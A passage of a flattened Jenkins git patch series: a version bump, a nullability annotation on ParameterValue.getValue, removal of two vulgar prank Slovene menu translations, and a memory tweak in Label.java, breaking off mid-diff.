2.49-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 1158656e1f..8ca8b608d3 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.48 + 2.49-SNAPSHOT jenkins-war -- GitLab From ba37bf51cb960efc93ebd53f87cfe9b9679a5107 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 1 Mar 2017 16:44:04 -0500 Subject: [PATCH 669/712] Noting that ParameterValue.getValue can on occasion return null. --- core/src/main/java/hudson/model/ParameterValue.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/hudson/model/ParameterValue.java b/core/src/main/java/hudson/model/ParameterValue.java index 6da8ebe19a..96ae3f448e 100644 --- a/core/src/main/java/hudson/model/ParameterValue.java +++ b/core/src/main/java/hudson/model/ParameterValue.java @@ -36,6 +36,7 @@ import java.io.IOException; import java.io.Serializable; import java.util.Map; import java.util.logging.Logger; +import javax.annotation.CheckForNull; import jenkins.model.Jenkins; import net.sf.json.JSONObject; @@ -305,6 +306,7 @@ public abstract class ParameterValue implements Serializable { * If there's nothing that really fits the bill, the callee can return {@code this}. * @since 1.568 */ + @CheckForNull public Object getValue() { return null; } -- GitLab From acaf91c585e0b97d2b3dc93ec26f327d0abd9319 Mon Sep 17 00:00:00 2001 From: urkon Date: Thu, 2 Mar 2017 09:47:41 +0100 Subject: [PATCH 670/712] Fix JENKINS-41756 - Indecently translated items Removed false and indecently to slovene translated main menu items. --- .../main/resources/hudson/model/View/sidepanel_sl.properties | 2 -- 1 file changed, 2 deletions(-) diff --git a/core/src/main/resources/hudson/model/View/sidepanel_sl.properties b/core/src/main/resources/hudson/model/View/sidepanel_sl.properties index a0a85ee14c..c3342f4d67 100644 --- a/core/src/main/resources/hudson/model/View/sidepanel_sl.properties +++ b/core/src/main/resources/hudson/model/View/sidepanel_sl.properties @@ -21,9 +21,7 @@ # THE SOFTWARE. Build\ History=Zgodovina prevajanja -Check\ File\ Fingerprint=Otisci guza Delete\ View=Izbri\u0161i pogled Edit\ View=Uredi pogled NewJob=Nov People=Uporabniki -Project\ Relationship=With my ass -- GitLab From 004fa77bed89661bab08e6361755d0bbeede4714 Mon Sep 17 00:00:00 2001 From: Alex Date: Thu, 2 Mar 2017 17:27:40 +0100 Subject: [PATCH 671/712] Minor memory optimisation for every build execution --- core/src/main/java/hudson/model/Label.java | 12 +++++++----- .../hudson/model/labels/LabelExpressionTest.java | 13 +++++++++++++ 2 files changed, 20 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/hudson/model/Label.java b/core/src/main/java/hudson/model/Label.java index 74a9fa6901..50d3bcd565 100644 --- a/core/src/main/java/hudson/model/Label.java +++ b/core/src/main/java/hudson/model/Label.java @@ -56,11 +56,11 @@ import org.kohsuke.stapler.export.ExportedBean; import java.io.StringReader; import java.util.ArrayList; +import java.util.Collection; import java.util.Collections; import java.util.HashSet; import java.util.List; import java.util.Set; -import java.util.Collection; import java.util.Stack; import java.util.TreeSet; @@ -583,11 +583,13 @@ public abstract class Label extends Actionable implements Comparable